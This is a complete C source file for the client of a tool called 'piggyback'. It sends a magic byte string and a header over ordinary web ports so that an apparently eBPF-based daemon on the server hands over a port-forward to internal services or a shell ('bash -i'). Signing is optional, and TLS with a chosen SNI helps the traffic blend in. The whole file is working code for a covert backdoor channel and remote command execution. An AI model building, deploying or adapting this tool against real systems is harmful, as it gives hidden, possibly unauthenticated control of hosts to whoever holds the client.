// pb-client.c — piggyback client
//
// Usage:
//   ./pb-client <server_ip> <server_port> <local_port> [options]
//
// Options:
//   --mode tcp|tls        connection mode (default: tcp)
//   --sni <hostname>      SNI for TLS — must match middleware routing config
//   --key <path>          Ed25519 private key PEM (enables auth; required if daemon has AUTH_ENABLED=1)
//   --action forward|shell  what to do on the server (default: forward)
//   --target <ip:port>    forward target (default: 127.0.0.1:22)
//   --cmd <command>       shell command for --action shell (default: bash)
//   -v                    verbose
//
// Examples:
//   ./pb-client 1.2.3.4 80 2222
//   ./pb-client 1.2.3.4 443 2222 --mode tls --sni internal.example.com
//   ./pb-client 1.2.3.4 80 2222 --key eng.key --action forward --target 127.0.0.1:22
//   ./pb-client 1.2.3.4 80 2222 --key eng.key --action shell --cmd 'id'
//   ssh -p 2222 user@localhost

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/epoll.h>
#include <pthread.h>

#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <openssl/pem.h>

// ── Shared constants (must match piggyback.bpf.c / piggyback.c) ──────────────

#define MAGIC      "\xDE\xAD\xC0\xDE\xCA\xFE"
#define MAGIC_LEN  6
#define HEADER_LEN 80

#define HDR_TIMESTAMP_OFF    0
#define HDR_ACTION_OFF       8
#define HDR_TARGET_IP_OFF    9
#define HDR_TARGET_PORT_OFF  13
#define HDR_SIG_OFF          16
#define HDR_MSG_LEN          20

#define ACTION_FORWARD 0x01
#define ACTION_SHELL   0x02

typedef enum { MODE_TCP, MODE_TLS } mode_t;

// ── Config ────────────────────────────────────────────────────────────────────

static struct {
    char   server_ip[256];
    int    server_port;
    int    local_port;
    mode_t mode;
    char   sni[256];
    char   key_path[256];
    int    action;
    char   target_ip[64];
    int    target_port;
    char   cmd[1024];
    int    verbose;
} cfg = {
    .mode        = MODE_TCP,
    .action      = ACTION_FORWARD,
    .target_ip   = "127.0.0.1",
    .target_port = 22,
    .cmd         = "bash",
};

static volatile int running = 1;
static SSL_CTX *ssl_ctx = NULL;

#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
#define log_err(fmt, ...)  fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
#define log_dbg(fmt, ...)  do { if (cfg.verbose) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)

// ── Abstract I/O ─────────────────────────────────────────────────────────────

struct conn { int fd; SSL *ssl; };

static ssize_t conn_write(struct conn *c, const void *buf, size_t len) {
    return c->ssl ? SSL_write(c->ssl, buf, (int)len) : write(c->fd, buf, len);
}
static ssize_t conn_read(struct conn *c, void *buf, size_t len) {
    return c->ssl ? SSL_read(c->ssl, buf, (int)len) : read(c->fd, buf, len);
}
static void conn_close(struct conn *c) {
    if (c->ssl) { SSL_shutdown(c->ssl); SSL_free(c->ssl); c->ssl = NULL; }
    if (c->fd >= 0) { close(c->fd); c->fd = -1; }
}

// ── Splice ────────────────────────────────────────────────────────────────────

static void splice_loop(int local_fd, struct conn *remote) {
    int epfd = epoll_create1(0);
    struct epoll_event ev, evs[2];
    char buf[65536];
    ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
    ev.data.fd = local_fd;  epoll_ctl(epfd, EPOLL_CTL_ADD, local_fd,   &ev);
    ev.data.fd = remote->fd; epoll_ctl(epfd, EPOLL_CTL_ADD, remote->fd, &ev);
    while (running) {
        int n = epoll_wait(epfd, evs, 2, 1000);
        for (int i = 0; i < n; i++) {
            if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
            if (evs[i].data.fd == local_fd) {
                ssize_t r = read(local_fd, buf, sizeof(buf)); if (r<=0) goto done;
                for (ssize_t w=0; w<r;) { ssize_t s=conn_write(remote,buf+w,r-w); if(s<=0) goto done; w+=s; }
            } else {
                ssize_t r = conn_read(remote, buf, sizeof(buf)); if (r<=0) goto done;
                for (ssize_t w=0; w<r;) { ssize_t s=write(local_fd,buf+w,r-w); if(s<=0) goto done; w+=s; }
            }
        }
    }
done:
    close(epfd);
}

// ── Build and send 80-byte header ─────────────────────────────────────────────
//
// Always sent after MAGIC. Without --key: timestamp=0, sig=zeros.
// Daemon reads action+target from header regardless of auth mode.

static int send_header(struct conn *remote, uint32_t server_ip_be) {
    uint8_t hdr[HEADER_LEN] = {0};

    // timestamp (zeros if no key — daemon in no-auth mode ignores it)
    if (cfg.key_path[0]) {
        uint64_t ts = (uint64_t)time(NULL);
        for (int i = 7; i >= 0; i--) { hdr[HDR_TIMESTAMP_OFF + i] = ts & 0xff; ts >>= 8; }
    }

    hdr[HDR_ACTION_OFF] = (uint8_t)cfg.action;

    if (cfg.action == ACTION_FORWARD) {
        uint32_t tip = 0;
        inet_pton(AF_INET, cfg.target_ip, &tip);
        memcpy(hdr + HDR_TARGET_IP_OFF, &tip, 4);
        uint16_t tport = htons((uint16_t)cfg.target_port);
        memcpy(hdr + HDR_TARGET_PORT_OFF, &tport, 2);
    }

    // Sign if key provided
    if (cfg.key_path[0]) {
        uint8_t msg[HDR_MSG_LEN];
        memcpy(msg, hdr, 16);
        memcpy(msg + 16, &server_ip_be, 4);

        FILE *f = fopen(cfg.key_path, "r");
        if (!f) { perror("fopen key"); return -1; }
        EVP_PKEY *pkey = PEM_read_PrivateKey(f, NULL, NULL, NULL);
        fclose(f);
        if (!pkey) { ERR_print_errors_fp(stderr); return -1; }

        EVP_MD_CTX *ctx = EVP_MD_CTX_new();
        size_t siglen = 64;
        uint8_t sig[64];
        int ok = ctx &&
                 EVP_DigestSignInit(ctx, NULL, NULL, NULL, pkey) == 1 &&
                 EVP_DigestSign(ctx, sig, &siglen, msg, sizeof(msg)) == 1;
        if (ctx) EVP_MD_CTX_free(ctx);
        EVP_PKEY_free(pkey);
        if (!ok || siglen != 64) { ERR_print_errors_fp(stderr); return -1; }
        memcpy(hdr + HDR_SIG_OFF, sig, 64);
    }

    if (conn_write(remote, hdr, HEADER_LEN) != HEADER_LEN) {
        log_err("write header failed"); return -1;
    }
    return 0;
}

// ── TCP connect ───────────────────────────────────────────────────────────────

static int tcp_connect(const char *host, int port) {
    struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM };
    struct addrinfo *res;
    char port_str[8]; snprintf(port_str, sizeof(port_str), "%d", port);
    if (getaddrinfo(host, port_str, &hints, &res) != 0) {
        log_err("getaddrinfo(%s:%d) failed", host, port); return -1;
    }
    int fd = -1;
    for (struct addrinfo *r = res; r; r = r->ai_next) {
        fd = socket(r->ai_family, r->ai_socktype, 0);
        if (fd < 0) continue;
        if (connect(fd, r->ai_addr, r->ai_addrlen) == 0) break;
        close(fd); fd = -1;
    }
    freeaddrinfo(res);
    if (fd < 0) log_err("connect to %s:%d failed", host, port);
    return fd;
}

// ── Per-connection thread ─────────────────────────────────────────────────────

struct conn_args { int local_fd; };

static void *conn_thread(void *arg) {
    struct conn_args *a = arg;
    int local_fd = a->local_fd;
    free(a);

    struct conn remote = { .fd = -1, .ssl = NULL };

    remote.fd = tcp_connect(cfg.server_ip, cfg.server_port);
    if (remote.fd < 0) goto done;

    if (cfg.mode == MODE_TLS) {
        remote.ssl = SSL_new(ssl_ctx);
        if (!remote.ssl) goto done;
        SSL_set_fd(remote.ssl, remote.fd);
        SSL_set_tlsext_host_name(remote.ssl, cfg.sni);
        if (SSL_connect(remote.ssl) != 1) {
            ERR_print_errors_fp(stderr); log_err("TLS handshake failed"); goto done;
        }
        log_dbg("TLS: %s", SSL_get_cipher(remote.ssl));
    }

    // MAGIC
    if (conn_write(&remote, MAGIC, MAGIC_LEN) != MAGIC_LEN) {
        log_err("write magic failed"); goto done;
    }

    // Header (always — carries action+target; signed if --key set)
    {
        uint32_t server_ip_be = 0;
        struct addrinfo hints = { .ai_family = AF_INET, .ai_socktype = SOCK_STREAM };
        struct addrinfo *res;
        if (getaddrinfo(cfg.server_ip, NULL, &hints, &res) == 0) {
            server_ip_be = ((struct sockaddr_in *)res->ai_addr)->sin_addr.s_addr;
            freeaddrinfo(res);
        }
        if (send_header(&remote, server_ip_be) != 0) goto done;
    }

    // Shell command follows header for ACTION_SHELL
    if (cfg.action == ACTION_SHELL) {
        size_t len = strlen(cfg.cmd);
        if (conn_write(&remote, cfg.cmd, len) != (ssize_t)len) {
            log_err("write cmd failed"); goto done;
        }
    }

    log_info("%s:%d [%s%s] action=%s",
             cfg.server_ip, cfg.server_port,
             cfg.mode == MODE_TLS ? "TLS" : "TCP",
             cfg.key_path[0] ? " signed" : "",
             cfg.action == ACTION_FORWARD ? "forward" : "shell");

    splice_loop(local_fd, &remote);

done:
    conn_close(&remote);
    close(local_fd);
    return NULL;
}

static void on_signal(int sig __attribute__((unused))) { running = 0; }

// ── Usage ─────────────────────────────────────────────────────────────────────

static void usage(const char *prog) {
    fprintf(stderr,
        "Usage: %s <server_ip> <server_port> <local_port> [options]\n"
        "\n"
        "  --mode tcp|tls        (default: tcp)\n"
        "  --sni <hostname>      SNI for TLS — must match middleware routing\n"
        "  --key <path>          Ed25519 private key PEM (enables signed auth)\n"
        "  --action forward|shell  (default: forward)\n"
        "  --target <ip:port>    forward target (default: 127.0.0.1:22)\n"
        "  --cmd <command>       shell command (default: bash)\n"
        "  -v                    verbose\n"
        "\n"
        "  %s 1.2.3.4 80 2222\n"
        "  %s 1.2.3.4 443 2222 --mode tls --sni internal.corp.com\n"
        "  %s 1.2.3.4 80 2222 --key eng.key --action forward --target 127.0.0.1:22\n"
        "  %s 1.2.3.4 80 2222 --key eng.key --action shell --cmd 'bash -i'\n"
        "  ssh -p 2222 user@localhost\n",
        prog, prog, prog, prog, prog);
}

// ── Main ──────────────────────────────────────────────────────────────────────

int main(int argc, char **argv) {
    int positional = 0;
    for (int i = 1; i < argc; i++) {
        if (!strcmp(argv[i], "--mode") && i+1 < argc) {
            i++;
            if      (!strcmp(argv[i], "tcp")) cfg.mode = MODE_TCP;
            else if (!strcmp(argv[i], "tls")) cfg.mode = MODE_TLS;
            else { fprintf(stderr, "unknown mode: %s\n", argv[i]); return 1; }
        } else if (!strcmp(argv[i], "--sni") && i+1 < argc) {
            strncpy(cfg.sni, argv[++i], sizeof(cfg.sni)-1);
        } else if (!strcmp(argv[i], "--key") && i+1 < argc) {
            strncpy(cfg.key_path, argv[++i], sizeof(cfg.key_path)-1);
        } else if (!strcmp(argv[i], "--action") && i+1 < argc) {
            i++;
            if      (!strcmp(argv[i], "forward")) cfg.action = ACTION_FORWARD;
            else if (!strcmp(argv[i], "shell"))   cfg.action = ACTION_SHELL;
            else { fprintf(stderr, "unknown action: %s\n", argv[i]); return 1; }
        } else if (!strcmp(argv[i], "--target") && i+1 < argc) {
            i++;
            char *colon = strrchr(argv[i], ':');
            if (!colon) { fprintf(stderr, "--target needs ip:port\n"); return 1; }
            *colon = '\0';
            strncpy(cfg.target_ip, argv[i], sizeof(cfg.target_ip)-1);
            cfg.target_port = atoi(colon+1);
        } else if (!strcmp(argv[i], "--cmd") && i+1 < argc) {
            strncpy(cfg.cmd, argv[++i], sizeof(cfg.cmd)-1);
        } else if (!strcmp(argv[i], "-v")) {
            cfg.verbose = 1;
        } else if (!strcmp(argv[i], "-h") || !strcmp(argv[i], "--help")) {
            usage(argv[0]); return 0;
        } else if (argv[i][0] != '-') {
            switch (positional++) {
            case 0: strncpy(cfg.server_ip, argv[i], sizeof(cfg.server_ip)-1); break;
            case 1: cfg.server_port = atoi(argv[i]); break;
            case 2: cfg.local_port  = atoi(argv[i]); break;
            default: fprintf(stderr, "unexpected: %s\n", argv[i]); return 1;
            }
        } else {
            fprintf(stderr, "unknown option: %s\n", argv[i]); return 1;
        }
    }

    if (positional < 3) { usage(argv[0]); return 1; }
    if (cfg.mode == MODE_TLS && !cfg.sni[0]) {
        fprintf(stderr, "[-] --sni required for --mode tls\n"); return 1;
    }

    signal(SIGINT, on_signal); signal(SIGTERM, on_signal); signal(SIGPIPE, SIG_IGN);

    SSL_library_init();
    SSL_load_error_strings();
    OpenSSL_add_all_algorithms();

    if (cfg.mode == MODE_TLS) {
        ssl_ctx = SSL_CTX_new(TLS_client_method());
        if (!ssl_ctx) { ERR_print_errors_fp(stderr); return 1; }
        SSL_CTX_set_verify(ssl_ctx, SSL_VERIFY_PEER, NULL);
        SSL_CTX_set_default_verify_paths(ssl_ctx);
        SSL_CTX_set_min_proto_version(ssl_ctx, TLS1_2_VERSION);
    }

    int listen_fd = socket(AF_INET, SOCK_STREAM, 0);
    int yes = 1;
    setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
    struct sockaddr_in laddr = {
        .sin_family      = AF_INET,
        .sin_port        = htons(cfg.local_port),
        .sin_addr.s_addr = htonl(INADDR_LOOPBACK),
    };
    if (bind(listen_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
        log_err("bind port %d: %s", cfg.local_port, strerror(errno)); return 1;
    }
    listen(listen_fd, 16);

    log_info("listening on 127.0.0.1:%d → %s:%d [%s%s]",
             cfg.local_port, cfg.server_ip, cfg.server_port,
             cfg.mode == MODE_TLS ? "TLS" : "TCP",
             cfg.key_path[0] ? " auth=ed25519" : "");

    while (running) {
        struct sockaddr_in caddr; socklen_t clen = sizeof(caddr);
        int cfd = accept(listen_fd, (struct sockaddr *)&caddr, &clen);
        if (cfd < 0) { if (running) perror("accept"); continue; }
        struct conn_args *a = malloc(sizeof(*a));
        if (!a) { close(cfd); continue; }
        a->local_fd = cfd;
        pthread_t tid;
        pthread_create(&tid, NULL, conn_thread, a);
        pthread_detach(tid);
    }

    close(listen_fd);
    if (ssl_ctx) SSL_CTX_free(ssl_ctx);
    return 0;
}